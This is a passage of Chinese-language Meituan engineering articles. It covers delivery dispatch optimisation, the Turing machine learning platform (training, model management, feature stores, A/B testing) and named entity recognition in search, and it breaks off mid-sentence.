索，不能在算法中加随机扰动。不能允许同样的输入在不同运行时刻给出不一样的优

化结果。然后，不能用普通迭代搜索，必须把这个问题结构特性挖掘出来，做基于知

识的定制化搜索。

说起来容易，具体要怎么做呢？我们认为，最重要的是看待这个问题的视角。这里

的路径规划问题，对应的经典问题模型，是开环 TSP 问题，或是开环 VRP 的变种

么？可以是，也可以不是。我们做了一个有意思的建模转换，把它看作流水线调度问

题：每个订单可以认为是 job；一个订单的两个任务取餐和送餐，可以认为是一个 job

的 operation。任意两个任务点之间的通行时间，可以认为是序列相关的准备时间。

每一单承诺的送达时间，包括预订单和即时单，可以映射到流水线调度问题中的提前

和拖期惩罚上。

算法应用效果

做了这样的建模转换之后，流水线调度问题就有大量的启发式算法可以借鉴。我们把

一个经典的基于问题特征的启发式算法做了适当适配和改进，可以得到非常好的效

果。相比于之前的算法，耗时下降 70%，优化效果不错。因为这是一个确定性算法，

所以运行多少次的结果都一样。我们的算法运行一次，跟其它算法运行 10 次的最优

结果相比，优化效果是持平的。
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订单智能调度

配送调度场景，可以用数学语言描述。它不仅是一个业务问题，更是一个标准的组合

优化问题，并且是一个马尔可夫决策过程。

调度问题的数学描述

并非对于某个时刻的一批订单做最优分配就足够，还需要考虑整个时间窗维度，每一

次指派对后面的影响。每一次订单分配，都影响了每个骑手后续时段的位置分布和行

进方向。如果骑手的分布和方向不适合未来的订单结构，相当于降低了后续调度时刻

最优性的天花板。所以，要考虑长周期的优化，而不是一个静态优化问题。

问题简化分析

为了便于理解，我们还是先看某个调度时刻的静态优化问题。它不仅仅是一个算法问

题，还需要我们对工程架构有非常深刻的理解。因为，在对问题输入数据进行拆解的
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时候，会发现算法的输入数据太庞大了。比如说，我们需要任意两个任务点的导航距

离数据。

而我们面临的问题规模，前几年只是区域维度的调度粒度，一个商圈一分钟峰值 100

多单，匹配几百个骑手，但是这种乘积关系对应的数据已经非常大了。现在，由于美

团有更多业务场景，比如跑腿和全城送，是会跨非常多的商圈，甚至跨越半个城市，

所以只能做城市级的全局优化匹配。目前，调度系统处理的问题的峰值规模，是 1 万

多单和几万名骑手的匹配。而算法允许的运行时间只有几秒钟，同时对内存的消耗也

非常大。

另外，配送和网约车派单场景不太一样。打车的调度是做司机和乘客的匹配，本质是

个二分图匹配问题，有多项式时间的最优算法：KM 算法。打车场景的难点在于，如

何刻画每对匹配的权重。而配送场景还需要解决，对于没有多项式时间最优算法的情

况下，如何在指数级的解空间，短时间得到优化解。如果认为每一单和每个骑手的匹

配有不同的适应度，那么这个适应度并不是可线性叠加的。也就意味着多单对多人的

匹配方案中，任意一种匹配都只能重新运算适应度，其计算量可想而知。

总结一下，这个问题有三类挑战：

1. 性能要求极高，要做到万单对万人的秒级求解。我们之前做了一些比较有意

思的工作，比如基于历史最优指派的结果，用机器学习模型做剪枝。基于大

量的历史数据，可以帮助我们节省很多无用的匹配方案评价。

2. 动态性。 作为一个 MDP 问题，需要考虑动态优化场景，这涉及大量的预估
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环节。在只有当前未完成订单的情况下，骑手如何执行、每一单的完成时刻

如何预估、未来时段会进哪些结构的订单、对业务指标和效率指标产生怎样

的影响……可能会觉得这是一个典型的强化学习场景，但它的难点在于决策

空间太大，甚至可以认为是无限大的。目前我们的思路，是通过其它的建模

转换手段进行解决。

3. 配送业务的随机因素多。比如商家的出餐时间，也许是很长时间内都无法解

决的随机性。就连历史每一个已完成订单，商家出餐时间的真值都很难获得，

因为人为点击的数据并不能保证准确和完整。商家出餐时刻不确定，这个随

机因素永远存在，并且非常制约配送效率的提升。另外，在顾客位置交付的

时间也不确定。写字楼工作日的午高峰，上电梯、下电梯的时间，很难准确

进行预估。当然，我们也在不断努力让预估变得更精准，但随机性永远存在。

对于骑手来说，平台没法规定每个骑手的任务执行顺序。骑手在配送过程中

可以自由发挥，所以骑手执行顺序的不确定性也一直存在。为了解决这些问

题，我们尝试用鲁棒优化或是随机规划的思想。但是，如果基于随机场景采

样的方式，运算量又会大幅增加。所以，我们需要进行基于学习的优化，优

化不是单纯的机器学习模型，也不是单纯的启发式规则，优化算法是结合真

实数据和算法设计者的经验，学习和演进而得。只有这样，才能在性能要求

极高的业务场景下，快速的得到鲁棒的优化方案。

目前，美团配送团队的研究方向，不仅包括运筹优化，还包括机器学习、强化学习、

数据挖掘等领域。这里具有很多非常有挑战的业务场景，欢迎大家加入我们。

作者简介
圣尧，2017 年加入美团，美团配送团队资深算法专家。
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一站式机器学习平台建设实践

作者：艳伟

本文根据美团配送资深技术专家郑艳伟在 2019 SACC（中国系统架构师大会）上的

演讲内容整理而成，主要介绍了美团配送技术团队在建设一站式机器学习平台过程中

的经验总结和探索，希望对从事此领域的同学有所帮助。

0. 写在前面

AI 是目前互联网行业炙手可热的“明星”，无论是老牌巨头，还是流量新贵，都在大

力研发 AI 技术，为自家的业务赋能。配送作为外卖平台闭环链条上重要的一环，配

送效率和用户体验是配送业务的核心竞争力。随着单量上涨、骑手增多、配送场景复

杂化，配送场景的各种算法在更快（算法需要快速迭代、快速上线）、更好（业务越来

越依赖机器学习算法产生正向的效果）、更准（算法的各种预测如预计送达时间等，需

要准确逼近真实值）的目标下也面临日益增大的挑战。算法从调研到最终上线发挥作

用，需要有一系列的工程开发和对接，由此引发了新的问题：如何界定算法和工程的

边界，各司其职，各善其长？如何提升算法迭代上线的速度和效率？如何快速准确评

估算法的效果？本文将为大家分享美团配送技术团队在建设一站式机器学习平台过程

中的一些经验和探索，希望对大家能有所帮助或者启发。

1. 业务背景

2019 年 7 月份，美团外卖的日订单量已经突破 3000 万单，占有了相对领先的市场

份额。围绕着用户、商户、骑手，美团配送构建了全球领先的即时配送网络，建设了

行业领先的美团智能配送系统，形成了全球规模最大的外卖配送平台。
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如何让配送网络运行效率更高，用户体验更好，是一项非常有难度的挑战。我们需要

解决大量复杂的机器学习和运筹优化等问题，包括 ETA 预测、智能调度、地图优化、

动态定价、情景感知、智能运营等多个领域。同时，我们还需要在体验、效率和成本

之间达到平衡。

2. 美团配送机器学习平台演进过程

2.1	为什么建设一站式机器学习平台

如果要解决上述的机器学习问题，就需要有一个功能强大且易用的机器学习平台来辅

助算法研发人员，帮助大家脱离繁琐的工程化开发，把有限的精力聚焦于算法策略的
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迭代上面。

目前业界比较优秀的机器学习平台有很多，既有大公司研发的商用产品，如微软的

Azure、亚马逊的 SageMaker、阿里的 PAI 平台、百度的 PaddlePaddle 以及腾

讯的 TI 平台，也有很多开源的产品，如加州大学伯克利分校的 Caffe、Google 的

TensorFlow、Facebook 的 PyTorch 以及 Apache 的 Spark MLlib 等。而开源平

台大都是机器学习或者深度学习基础计算框架，聚焦于训练机器学习或深度学习模

型；公司的商用产品则是基于基础的机器学习和深度学习计算框架进行二次开发，提

供一站式的生态化的服务，为用户提供从数据预处理、模型训练、模型评估、模型在

线预测的全流程开发和部署支持，以期降低算法同学的使用门槛。

公司级的一站式机器学习平台的目标和定位，与我们对机器学习平台的需求不谋而

合：为用户提供端到端的一站式的服务，帮助他们脱离繁琐的工程化开发，把有限

的精力聚焦于算法策略的迭代上面。鉴于此，美团配送的一站式机器学习平台应运

而生。

美团配送机器学习平台的演进过程可以分为两个阶段：

MVP阶段：灵活，快速试错，具备快速迭代能力。

平台化阶段：业务成指数级增长，需要机器学习算法的场景越来越多，如何既保证业

务发展，又能解决系统可用性、扩展性、研发效率等问题。

2.2	MVP阶段

初始阶段，大家对机器学习平台要发展成什么样子并不明确，很多事情也想不清楚。

但是为了支撑业务的发展，必须快速上线、快速试错。因此，在此阶段，各个业务线

独自建设自己的机器学习工具集，按照各自业务的特殊需求进行各自迭代，快速支持

机器学习算法上线落地应用到具体的业务场景，也就是我们所熟知的“烟囱模式”。

此种模式各自为战，非常灵活，能够快速支持业务的个性化需求，为业务抢占市场赢

得了先机。但随着业务规模的逐渐扩大，这种“烟囱模式”的缺点就凸显了出来，主

要表现在以下两个方面：
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 ● 重复造轮子：特征工程、模型训练、模型在线预测都是各自研发，从零做起，

算法的迭代效率低下。

 ● 特征口径混乱：各个业务方重复开发特征，相同特征的统计口径也不一致，导

致算法之间难以协同工作。

2.3	平台化阶段

为了避免各部门重复造轮子，提升研发的效率，同时统一业务指标和特征的计算口

径，标准化配送侧的数据体系，美团配送的研发团队组建了一个算法工程小组，专门

规整各业务线的机器学习工具集，希望建设一个统一的机器学习平台，其需求主要包

括以下几个方面：
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 ● 该平台底层依托于 Hadoop/Yarn 进行资源调度管理，集成了 Spark ML、

XGBoost、TensorFlow 三种机器学习框架，并保留了扩展性，方便接入其

它机器学习框架，如美团自研的 MLX（超大规模机器学习平台，专为搜索、推

荐、广告等排序问题定制，支持百亿级特征和流式更新）。

 ● 通过对 Spark ML、XGBoost、TensorFlow 机器学习框架的封装，我们实现

了可视化离线训练平台，通过拖拉拽的方式生成 DAG 图，屏蔽多个训练框架

的差异，统一模型训练和资源分配，降低了算法 RD 的接入门槛。

 ● 模型管理平台，提供统一的模型注册、发现、部署、切换、降级等解决方案，

并为机器学习和深度学习模型实时计算提供高可用在线预测服务。

 ● 离线特征平台，收集分拣线下日志，计算提炼成算法所需要的特征，并将线下

的特征应用到线上。

 ● 实时特征平台，实时收集线上数据，计算提炼成算法所需要的特征，并实时推

送应用到线上。

 ● 版本管理平台，管理算法的版本以及算法版本所用的模型、特征和参数。

 ● AB 实验平台，通过科学的分流和评估方法，更快更好地验证算法的效果。

3. 图灵平台

平台化阶段，我们对美团配送机器学习平台的目标定位是：一站式机器学习平台，给

算法同学提供一站式服务，覆盖算法同学调研、开发、上线、评估算法效果的全流

程，包括：数据处理、特征生产、样本生成、模型训练、模型评估、模型发布、在线

预测和效果评估。为了响应这个目标，大家还给平台取了个大胆的名字——Turing，

中文名称为图灵平台，虽然有点“胆大包天”，但是也算是对我们团队的一种鞭策。

1）首先在获取数据阶段，支持在线和离线两个层面的处理，分别通过采样、过滤、

归一化、标准化等手段生产实时和离线特征，并推送到在线的特征库，供线上服务

使用。

2）模型训练阶段，支持分类、回归、聚类、深度学习等多种模型，并支持自定义

Loss 损失函数。
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3）模型评估阶段，支持多种评估指标，如 AUC、MSE、MAE、F1 等。

4）模型发布阶段，提供一键部署功能，支持本地和远程两种模式，分别对应将模型

部署在业务服务本地和部署在专用的在线预测集群。

5）在线预测阶段，支持 AB 实验，灵活的灰度发布放量，并通过统一埋点日志实现

AB 实验效果评估。

3.1	离线训练平台

离线训练平台的目标是：搭建可视化训练平台，屏蔽多个训练框架的差异，降低算法

RD 的接入门槛。

为了降低算法 RD 进入机器学习领域的门槛，我们开发了带有可视化界面的离线训

练平台，通过各种组件的拖拉拽组合成 DAG 图，从而生成一个完整的机器学习训

练任务。

目前支持的组件大致分为：输入、输出、特征预处理、数据集加工、机器学习模型、

深度学习模型等几大类，每种类别都开发了多个不同的组件，分别支持不同的应用场

景。同时为了不失去灵活性，我们也花费了一番心思，提供了多种诸如自定义参数、

自动调参、自定义 Loss 函数等功能，尽量满足各个不同业务方向算法同学各种灵活

性的需求。
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我们的离线训练平台在产出模型时，除了产出模型文件之外，还产出了一个 MLDL

（Machine Learning Definition Language）文件，将各模型的所有预处理模块信

息写入 MLDL 文件中，与模型保存在同一目录中。当模型发布时，模型文件连带

MLDL 文件作为一个整体共同发布到线上。在线计算时，先自动执行 MLDL 中的预

处理逻辑，然后再执行模型计算逻辑。通过 MLDL 打通了离线训练和在线预测，贯

穿整个机器学习平台，使得线下和线上使用同一套特征预处理框架代码，保证了线下

和线上处理的一致性。
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在发布模型时，我们还提供了模型绑定特征功能，支持用户把特征和模型的入参关联

起来，方便在线预测时模型自动获取特征，极大地简化了算法 RD 构造模型输入时获

取特征的工作量。

3.2	模型管理平台

前面介绍了，我们的图灵平台集成了 Spark ML、XGBoost、TensorFlow 三种底

层训练框架，基于此，我们的训练平台产出的机器学习模型种类也非常多，简单的

有 LR、SVM，树模型有 GBDT、RF、XGB 等，深度学习模型有 RNN、DNN、

LSTM、DeepFM 等等。而我们的模型管理平台的目标就是提供统一的模型注册、

发现、部署、切换、降级等解决方案，并为机器学习和深度学习模型提供高可用的线

上预测服务。
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模型管理平台支持本地和远程两种部署模式：

 ● 本地：模型和 MLDL 统一推送到业务方服务节点上，同时图灵平台提供一个

Java 的 Lib 包，嵌入到业务方应用中，业务方通过本地接口的方式调用模型

计算。

 ● 远程：图灵平台维护了一个专用的在线计算集群，模型和 MLDL 统一部署到在

线计算集群中，业务方应用通过 RPC 接口调用在线计算服务进行模型计算。
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对于超大规模模型，单机无法装载，需要对模型进行 Sharding。鉴于美团配送的

业务特性，可以按照配送城市 / 区域进行分区训练，每个城市或区域产出一个小模

型，多个分区模型分散部署到多个节点上，解决单节点无法装载大模型的问题。分

区模型要求我们必须提供模型的路由功能，以便业务方精准地找到部署相应分区模

型的节点。

同时，模型管理平台还收集各个服务节点的心跳上报信息，维护模型的状态和版本切

换，确保所有节点上模型版本一致。

3.3	离线特征平台

配送线上业务每天会记录许多骑手、商家、用户等维度的数据，这些数据经过 ETL

处理得到所谓的离线特征，算法同学利用这些离线特征训练模型，并在线上利用这些

特征进行模型在线预测。离线特征平台就是将存放在 Hive 表中的离线特征数据生产

到线上，对外提供在线获取离线特征的服务能力，支撑配送各个业务高并发及算法快

速迭代。
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最简单的方案，直接把离线特征存储到 DB 中，线上服务直接读取 DB 获取特征

Value。读取 DB 是个很重的操作，这种方案明显不能满足互联网大并发的场景，直

接被 Pass 掉。

第二种方案，把各个离线特征作为 K-V 结构存储到 Redis 中，线上服务直接根据

特征 Key 读取 Redis 获取特征 Value。此方案利用了 Redis 内存 K-V 数据库的

高性能，乍一看去，好像可以满足业务的需求，但实际使用时，也存在着严重的性

能问题。

典型的业务场景：比如我们要预测 20 个商家的配送时长，假设每个商家需要 100 个

特征，则我们就需要 20*100=2000 个特征进行模型计算，2000 个 KV。如果直接

单个获取，满足不了业务方的性能需求；如果使用 Redis 提供的批量接口 Mget，如

果每次获取 100 个 KV，则需要 20 次 Mget。缓存 mget 的耗时 TP99 约 5ms，20

次 Mget，TP99 接近 100ms，也无法满足业务方的性能需求（上游服务超时时间约

50ms）。

因此，我们需要对离线特征从存储和获取进行优化。我们提出了特征组的概念，同一

维度的特征，按照特征组的结构进行聚合成一个 KV，大大减少了 Key 的数目；并且

提供了相对完善的管理功能，支持对特征组的动态调整（组装、拆分等）。
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3.4	实时特征平台

相比于传统配送，即时配送无论是在位置信息、骑手负载，还是在当前路网情况，以

及商家出餐情况等方面都是瞬息变化的，实时性要求非常高。为了让机器学习算法能

够即时的在线上生效，我们需要实时地收集线上各种业务数据，进行计算，提炼成算

法所需要的特征，并实时更新。

3.5	AB实验平台

AB 实验并不是个新兴的概念，自 2000 年谷歌工程师将这一方法应用在互联网产品

以来，AB 实验在国内外越来越普及，已成为互联网产品运营精细度的重要体现。简

单来说，AB 实验在产品优化中的应用方法是：在产品正式迭代发版之前，为同一个

目标制定两个（或以上）方案，将用户流量对应分成几组，在保证每组用户特征相同

的前提下，让用户分别看到不同的方案设计，根据几组用户的真实数据反馈，科学的
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帮助产品进行决策。 

互联网领域常见的 AB 实验，大多是面向 C 端用户进行流量选择，比如基于注册用户

的 UID 或者用户的设备标识（移动用户 IMEI 号 /PC 用户 Cookie）进行随机或者哈

希计算后分流。此类方案广泛应用于搜索、推荐、广告等领域，体现出千人千面个性

化的特点。此类方案的特点是实现简单，假设请求独立同分布，流量之间独立决策，

互不干扰。此类 AB 实验之所以能够这样做是因为：C 端流量比较大，样本足够多，

而且不同用户之间没有相互干扰，只要分流时足够随机，即基本可以保证请求独立同

分布。

即时配送领域的 AB 实验是围绕用户、商户、骑手三者进行，用户 / 商户 / 骑手之间

不再是相互独立的，而是相互影响相互制约的。针对此类场景，现有的分流方案会造

成不同策略的互相干扰，无法有效地评估各个流量各个策略的优劣。

鉴于上述的问题，我们将配送侧的 AB 实验分为三个阶段：事前的 AA 分组，事中的

AB 分流，事后的效果评估。

 ● AA 分组：将候选流量按照既定的规则预先分为对照组和实验组，基于数理统

计的理论确保对照组和实验组在所关注的业务指标上没有显著差异。

 ● AB 分流：将线上请求实时分到对照或者实验版本。



算法　<　797

 ● 效果评估：根据对照组和实验组的数据对比评估 AB 实验的效果。

由于即时配送的场景较为特殊，比如按照配送区域或城市进行 AB 实验时，由于样本

空间有限，很难找到没有差异的对照组和实验组，因此我们设计了一种分时间片 AB

对照的分流方法：支持按天、小时、分钟进行分片，多个时间片进行轮转切换，在不

同区域、不同时间片之间，对不同的策略进行交替切换进行 AB 分流，最大限度减少

线下因素的影响，确保实验科学公正。

4 总结与展望

目前图灵平台支撑了美团配送、小象、LBS 平台等 BU 的算法离线训练、在线预测、

AB 实验等，使算法 RD 更加关注算法策略本身的迭代优化，显著提高了算法 RD 的

效率。未来我们会在以下方面继续深入探索：
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1）加强深度学习的建设。

 ● 加强深度学习的建设，全面支持深度学习，实现深度学习相关组件与机器学习

组件一样，在可视化界面可以和任意组件组合使用。

 ● 离线训练支持更多常用深度学习模型。

 ● 支持直接写 Python 代码自定义深度学习模型。

2）在线预测平台化，进一步解耦算法和工程。

 ● 简化图灵平台 SDK，剥离主体计算逻辑，建设在线预测平台。

 ● 在线预测平台动态加载算法包，实现算法、业务工程方、图灵平台的解耦。

作者简介
艳伟，美团配送技术团队资深技术专家。

招聘信息
如果你想近距离感受一下图灵平台的魅力，欢迎加入我们。美团配送技术团队诚招调度履约方

向、LBS 方向、机器学习平台、算法工程方向的技术专家和架构师，共建全行业最大的单一即

时配送网络和平台，共同面对复杂业务和高并发流量的挑战，迎接配送业务全面智能化的时代。

感兴趣同学可投递简历至：tech@meituan.com（邮件标题注明：美团配送技术团队）。
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美团搜索中NER技术的探索与实践

作者：丽红　星池　燕华　马璐　廖群　志安　刘亮　李超　云森　永超等

1. 背景

命名实体识别（Named Entity Recognition，简称 NER），又称作“专名识别”，是

指识别文本中具有特定意义的实体，主要包括人名、地名、机构名、专有名词等。

NER 是信息提取、问答系统、句法分析、机器翻译、面向 Semantic Web 的元数据

标注等应用领域的重要基础工具，在自然语言处理技术走向实用化的过程中占有重要

的地位。在美团搜索场景下，NER 是深度查询理解（Deep Query Understanding，

简称 DQU）的底层基础信号，主要应用于搜索召回、用户意图识别、实体链接等环

节，NER 信号的质量，直接影响到用户的搜索体验。

下面将简述一下实体识别在搜索召回中的应用。在 O2O 搜索中，对商家 POI 的描述

是商家名称、地址、品类等多个互相之间相关性并不高的文本域。如果对 O2O 搜索

引擎也采用全部文本域命中求交的方式，就可能会产生大量的误召回。我们的解决方

法如下图 1 所示，让特定的查询只在特定的文本域做倒排检索，我们称之为“结构化

召回”，可保证召回商家的强相关性。举例来说，对于“海底捞”这样的请求，有些

商家地址会描述为“海底捞附近几百米”，若采用全文本域检索这些商家就会被召回，

显然这并不是用户想要的。而结构化召回基于 NER 将“海底捞”识别为商家，然后

只在商家名相关文本域检索，从而只召回海底捞品牌商家，精准地满足了用户需求。

图 1　实体识别与召回策略
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有别于其他应用场景，美团搜索的 NER 任务具有以下特点：

 ● 新增实体数量庞大且增速较快：本地生活服务领域发展迅速，新店、新商品、

新服务品类层出不穷；用户 Query 往往夹杂很多非标准化表达、简称和热词

（如“牵肠挂肚”、“吸猫”等），这对实现高准确率、高覆盖率的 NER 造成了

很大挑战。

 ● 领域相关性强：搜索中的实体识别与业务供给高度相关，除通用语义外需加入

业务相关知识辅助判断，比如“剪了个头发”，通用理解是泛化描述实体，在

搜索中却是个商家实体。

 ● 性能要求高：从用户发起搜索到最终结果呈现给用户时间很短，NER 作为

DQU 的基础模块，需要在毫秒级的时间内完成。近期，很多基于深度网络的

研究与实践显著提高了 NER 的效果，但这些模型往往计算量较大、预测耗时

长，如何优化模型性能，使之能满足 NER 对计算时间的要求，也是 NER 实

践中的一大挑战。

2. 技术选型

针对 O2O 领域 NER 任务的特点，我们整体的技术选型是“实体词典匹配 + 模型预

测”的框架，如图下 2 所示。实体词典匹配和模型预测两者解决的问题各有侧重，在

当前阶段缺一不可。下面通过对三个问题的解答来说明我们为什么这么选。

为什么需要实体词典匹配？

答：主要有以下四个原因：

一是搜索中用户查询的头部流量通常较短、表达形式简单，且集中在商户、品类、地

址等三类实体搜索，实体词典匹配虽简单但处理这类查询准确率也可达到 90% 以上。

二是 NER 领域相关，通过挖掘业务数据资源获取业务实体词典，经过在线词典匹配

后可保证识别结果是领域适配的。

三是新业务接入更加灵活，只需提供业务相关的实体词表就可完成新业务场景下的实
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体识别。

四是 NER 下游使用方中有些对响应时间要求极高，词典匹配速度快，基本不存在性

能问题。

有了实体词典匹配为什么还要模型预测？

答：有以下两方面的原因：

一是随着搜索体量的不断增大，中长尾搜索流量表述复杂，越来越多 OOV（Out Of 

Vocabulary）问题开始出现，实体词典已经无法满足日益多样化的用户需求，模型预

测具备泛化能力，可作为词典匹配的有效补充。

二是实体词典匹配无法解决歧义问题，比如“黄鹤楼美食”，“黄鹤楼”在实体词典中

同时是武汉的景点、北京的商家、香烟产品，词典匹配不具备消歧能力，这三种类型

都会输出，而模型预测则可结合上下文，不会输出“黄鹤楼”是香烟产品。

实体词典匹配、模型预测两路结果是怎么合并输出的？

答：目前我们采用训练好的 CRF 权重网络作为打分器，来对实体词典匹配、模型预

测两路输出的 NER 路径进行打分。在词典匹配无结果或是其路径打分值明显低于模

型预测时，采用模型识别的结果，其他情况仍然采用词典匹配结果。

在介绍完我们的技术选型后，接下来会展开介绍下我们在实体词典匹配、模型在线预

测等两方面的工作，希望能为大家在 O2O NER 领域的探索提供一些帮助。
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图 2　实体识别整体架构

3. 实体词典匹配

传统的 NER 技术仅能处理通用领域既定、既有的实体，但无法应对垂直领域所特有的

实体类型。在美团搜索场景下，通过对 POI 结构化信息、商户评论数据、搜索日志等

独有数据进行离线挖掘，可以很好地解决领域实体识别问题。经过离线实体库不断的丰

富完善累积后，在线使用轻量级的词库匹配实体识别方式简单、高效、可控，且可以很

好地覆盖头部和腰部流量。目前，基于实体库的在线 NER 识别率可以达到 92%。

3.1	离线挖掘

美团具有丰富多样的结构化数据，通过对领域内结构化数据的加工处理可以获得高精

度的初始实体库。例如：从商户基础信息中，可以获取商户名、类目、地址、售卖商

品或服务等类型实体。从猫眼文娱数据中，可以获取电影、电视剧、艺人等类型实

体。然而，用户搜索的实体名往往夹杂很多非标准化表达，与业务定义的标准实体名

之间存在差异，如何从非标准表达中挖掘领域实体变得尤为重要。



算法　<　803

现有的新词挖掘技术主要分为无监督学习、有监督学习和远程监督学习。无监督学习

通过频繁序列产生候选集，并通过计算紧密度和自由度指标进行筛选，这种方法虽然

可以产生充分的候选集合，但仅通过特征阈值过滤无法有效地平衡精确率与召回率，

现实应用中通常挑选较高的阈值保证精度而牺牲召回。先进的新词挖掘算法大多为有

监督学习，这类算法通常涉及复杂的语法分析模型或深度网络模型，且依赖领域专家

设计繁多规则或大量的人工标记数据。远程监督学习通过开源知识库生成少量的标记

数据，虽然一定程度上缓解了人力标注成本高的问题。然而小样本量的标记数据仅能

学习简单的统计模型，无法训练具有高泛化能力的复杂模型。

我们的离线实体挖掘是多源多方法的，涉及到的数据源包括结构化的商家信息库、百

科词条，半结构化的搜索日志，以及非结构化的用户评论（UGC）等。使用的挖掘方

法也包含多种，包括规则、传统机器学习模型、深度学习模型等。UGC 作为一种非

结构化文本，蕴含了大量非标准表达实体名。下面我们将详细介绍一种针对 UGC 的

垂直领域新词自动挖掘方法，该方法主要包含三个步骤，如下图 3 所示：

图 3　一种适用于垂直领域的新词自动挖掘方法

Step1：候选序列挖掘。频繁连续出现的词序列，是潜在新型词汇的有效候选，我们

采用频繁序列产生充足候选集合。

Step2：基于远程监督的大规模有标记语料生成。频繁序列随着给定语料的变化而改

变，因此人工标记成本极高。我们利用领域已有累积的实体词典作为远程监督词库，

将 Step1 中候选序列与实体词典的交集作为训练正例样本。同时，通过对候选序列

分析发现，在上百万的频繁 Ngram 中仅约 10% 左右的候选是真正的高质新型词汇。

因此，对于负例样本，采用负采样方式生产训练负例集 [1]。针对海量 UGC 语料，我
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们设计并定义了四个维度的统计特征来衡量候选短语可用性：

 ● 频率：有意义的新词在语料中应当满足一定的频率，该指标由 Step1 计算得

到。

 ● 紧密度：主要用于评估新短语中连续元素的共现强度，包括 T 分布检验、皮尔

森卡方检验、逐点互信息、似然比等指标。

 ● 信息度：新发现词汇应具有真实意义，指代某个新的实体或概念，该特征主要

考虑了词组在语料中的逆文档频率、词性分布以及停用词分布。

 ● 完整性：新发现词汇应当在给定的上下文环境中作为整体解释存在，因此应同

时考虑词组的子集短语以及超集短语的紧密度，从而衡量词组的完整性。

在经过小样本标记数据构建和多维度统计特征提取后，训练二元分类器来计算候选短

语预估质量。由于训练数据负例样本采用了负采样的方式，这部分数据中混合了少量

高质量的短语，为了减少负例噪声对短语预估质量分的影响，可以通过集成多个弱分

类器的方式减少误差。对候选序列集合进行模型预测后，将得分超过一定阈值的集合

作为正例池，较低分数的集合作为负例池。

Step3:	基于深度语义网络的短语质量评估。在有大量标记数据的情况下，深度网络

模型可以自动有效地学习语料特征，并产出具有泛化能力的高效模型。BERT 通过海

量自然语言文本和深度模型学习文本语义表征，并经过简单微调在多个自然语言理解

任务上刷新了记录，因此我们基于 BERT 训练短语质量打分器。为了更好地提升训

练数据的质量，我们利用搜索日志数据对 Step2 中生成的大规模正负例池数据进行

远程指导，将有大量搜索记录的词条作为有意义的关键词。我们将正例池与搜索日志

重合的部分作为模型正样本，而将负例池减去搜索日志集合的部分作为模型负样本，

进而提升训练数据的可靠性和多样性。此外，我们采用 Bootstrapping 方式，在初次

得到短语质量分后，重新根据已有短语质量分以及远程语料搜索日志更新训练样本，

迭代训练提升短语质量打分器效果，有效减少了伪正例和伪负例。

在 UGC 语料中抽取出大量新词或短语后，参考 AutoNER[2] 对新挖掘词语进行类型

预测，从而扩充离线的实体库。
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3.2	在线匹配

原始的在线 NER 词典匹配方法直接针对 Query 做双向最大匹配，从而获得成分识别

候选集合，再基于词频（这里指实体搜索量）筛选输出最终结果。这种策略比较简陋，

对词库准确度和覆盖度要求极高，所以存在以下几个问题：

 ● 当 Query 包含词库未覆盖实体时，基于字符的最大匹配算法易引起切分错误。

例如，搜索词“海坨山谷”，词库仅能匹配到“海坨山”，因此出现“海坨山 /

谷”的错误切分。

 ● 粒度不可控。例如，搜索词“星巴克咖啡”的切分结果，取决于词库对“星巴

克”、“咖啡”以及“星巴克咖啡”的覆盖。

 ● 节点权重定义不合理。例如，直接基于实体搜索量作为实体节点权重，当用户

搜索“信阳菜馆”时，“信阳菜 / 馆”的得分大于“信阳 / 菜馆”。

为了解决以上问题，在进行实体字典匹配前引入了 CRF 分词模型，针对垂直领域美

团搜索制定分词准则，人工标注训练语料并训练 CRF 分词模型。同时，针对模型分

词错误问题，设计两阶段修复方式：

1. 结合模型分词 Term 和基于领域字典匹配 Term，根据动态规划求解 Term 序

列权重和的最优解。

2. 基于 Pattern 正则表达式的强修复规则。最后，输出基于实体库匹配的成分

识别结果。
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图 4　实体在线匹配

4. 模型在线预测

对于长尾、未登录查询，我们使用模型进行在线识别。 NER 模型的演进经历了如下

图 5 所示的几个阶段，目前线上使用的主模型是 BERT[3] 以及 BERT+LR 级联模型，

另外还有一些在探索中模型的离线效果也证实有效，后续我们会综合考虑性能和收益

逐步进行上线。搜索中 NER 线上模型的构建主要面临三个问题：

1. 性能要求高：NER 作为基础模块，模型预测需要在毫秒级时间内完成，而目

前基于深度学习的模型都有计算量大、预测时间较长的问题。

2. 领域强相关：搜索中的实体类型与业务供给高度相关，只考虑通用语义很难保

证模型识别的准确性。

3. 标注数据缺乏： NER 标注任务相对较难，需给出实体边界切分、实体类型信

息，标注过程费时费力，大规模标注数据难以获取。

针对性能要求高的问题，我们的线上模型在升级为 BERT 时进行了一系列的性能调

优；针对 NER 领域相关问题，我们提出了融合搜索日志特征、实体词典信息的知识

增强 NER 方法；针对训练数据难以获取的问题，我们提出一种弱监督的 NER 方法。
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下面我们详细介绍下这些技术点。

图 5　NER 模型演进

4.1	BERT模型

BERT 是谷歌于 2018 年 10 月公开的一种自然语言处理方法。该方法一经发布，就

引起了学术界以及工业界的广泛关注。在效果方面，BERT 刷新了 11 个 NLP 任务

的当前最优效果，该方法也被评为 2018 年 NLP 的重大进展以及 NAACL 2019 的

best paper[4,5]。BERT 和早前 OpenAI 发布的 GPT 方法技术路线基本一致，只

是在技术细节上存在略微差异。两个工作的主要贡献在于使用预训练 + 微调的思路来

解决自然语言处理问题。以 BERT 为例，模型应用包括 2 个环节：

 ● 预训练（Pre-training），该环节在大量通用语料上学习网络参数，通用语料包

括 Wikipedia、Book Corpus，这些语料包含了大量的文本，能够提供丰富的

语言相关现象。

 ● 微调（Fine-tuning），该环节使用“任务相关”的标注数据对网络参数进行微

调，不需要再为目标任务设计 Task-specific 网络从头训练。

将 BERT 应用于实体识别线上预测时面临一个挑战，即预测速度慢。我们从模型蒸

馏、预测加速两个方面进行了探索，分阶段上线了 BERT 蒸馏模型、BERT+Soft-

max、BERT+CRF 模型。
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4.1.1	模型蒸馏

我们尝试了对 BERT 模型进行剪裁和蒸馏两种方式，结果证明，剪裁对于 NER 这

种复杂 NLP 任务精度损失严重，而模型蒸馏是可行的。模型蒸馏是用简单模型来逼

近复杂模型的输出，目的是降低预测所需的计算量，同时保证预测效果。Hinton 在

2015 年的论文中阐述了核心思想 [6]，复杂模型一般称作 Teacher Model，蒸馏后的

简单模型一般称作 Student Model。Hinton 的蒸馏方法使用伪标注数据的概率分布

来训练 Student Model，而没有使用伪标注数据的标签来训练。作者的观点是概率

分布相比标签能够提供更多信息以及更强约束，能够更好地保证 Student Model 与

Teacher Model 的预测效果达到一致。在 2018 年 NeurIPS 的 Workshop 上，[7]

